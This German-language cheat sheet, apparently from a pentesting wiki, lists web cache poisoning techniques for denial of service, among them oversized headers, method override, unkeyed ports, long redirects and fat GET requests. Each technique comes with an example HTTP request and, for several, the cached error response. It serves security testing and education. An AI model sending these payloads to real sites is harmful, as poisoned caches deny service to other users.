Cache Poisoning zu DoS

Reading time: 4 minutes

• HTTP Header Oversize (HHO)

Senden Sie eine Anfrage mit einer Headergröße, die größer ist als die vom Webserver unterstützte, aber kleiner als die vom Cache-Server unterstützte. Der Webserver wird mit einer 400-Antwort reagieren, die möglicherweise zwischengespeichert wird:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000

• HTTP Meta Character (HMC) & Unerwartete Werte

Senden Sie einen Header, der einige schädliche Metazeichen wie und enthält. Damit der Angriff funktioniert, müssen Sie zuerst den Cache umgehen.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Ein schlecht konfiguriertes Header könnte einfach \: als Header sein.

Dies könnte auch funktionieren, wenn unerwartete Werte gesendet werden, wie ein unerwarteter Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

• Unkeyed header

Einige Websites geben einen Fehlerstatuscode zurück, wenn sie bestimmte Header im Request sehen, wie mit dem X-Amz-Website-Location-Redirect: someThing Header:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header

• HTTP Method Override Attack (HMO)

Wenn der Server das Ändern der HTTP-Methode mit Headern wie X-HTTP-Method-Override, X-HTTP-Method oder X-Method-Override unterstützt, ist es möglich, eine gültige Seite anzufordern, indem die Methode geändert wird, sodass der Server sie nicht unterstützt und eine fehlerhafte Antwort zwischengespeichert wird:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST

• Unkeyed Port

Wenn der Port im Host-Header in der Antwort widergespiegelt wird und nicht im Cache-Schlüssel enthalten ist, ist es möglich, ihn auf einen ungenutzten Port umzuleiten:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss

• Long Redirect DoS

Wie im folgenden Beispiel wird x nicht zwischengespeichert, sodass ein Angreifer das Verhalten der Umleitungsantwort ausnutzen könnte, um die Umleitung eine URL so groß senden zu lassen, dass ein Fehler zurückgegeben wird. Dann erhalten Personen, die versuchen, auf die URL ohne den nicht zwischengespeicherten x-Schlüssel zuzugreifen, die Fehlermeldung:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss

• Normalisierung der Groß- und Kleinschreibung des Host-Headers

Der Host-Header sollte nicht zwischen Groß- und Kleinschreibung unterscheiden, aber einige Websites erwarten, dass er in Kleinbuchstaben vorliegt und geben einen Fehler zurück, wenn dies nicht der Fall ist:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found

• Pfadnormalisierung

Einige Seiten geben Fehlercodes zurück, wenn Daten URLencode im Pfad gesendet werden, jedoch wird der Cache-Server den Pfad URLdecode und die Antwort für den URLdecoded Pfad speichern:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found

• Fat Get

Einige Cache-Server, wie Cloudflare, oder Web-Server, stoppen GET-Anfragen mit einem Body, sodass dies missbraucht werden könnte, um eine ungültige Antwort zu cachen:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Referenzen

• https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
• https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------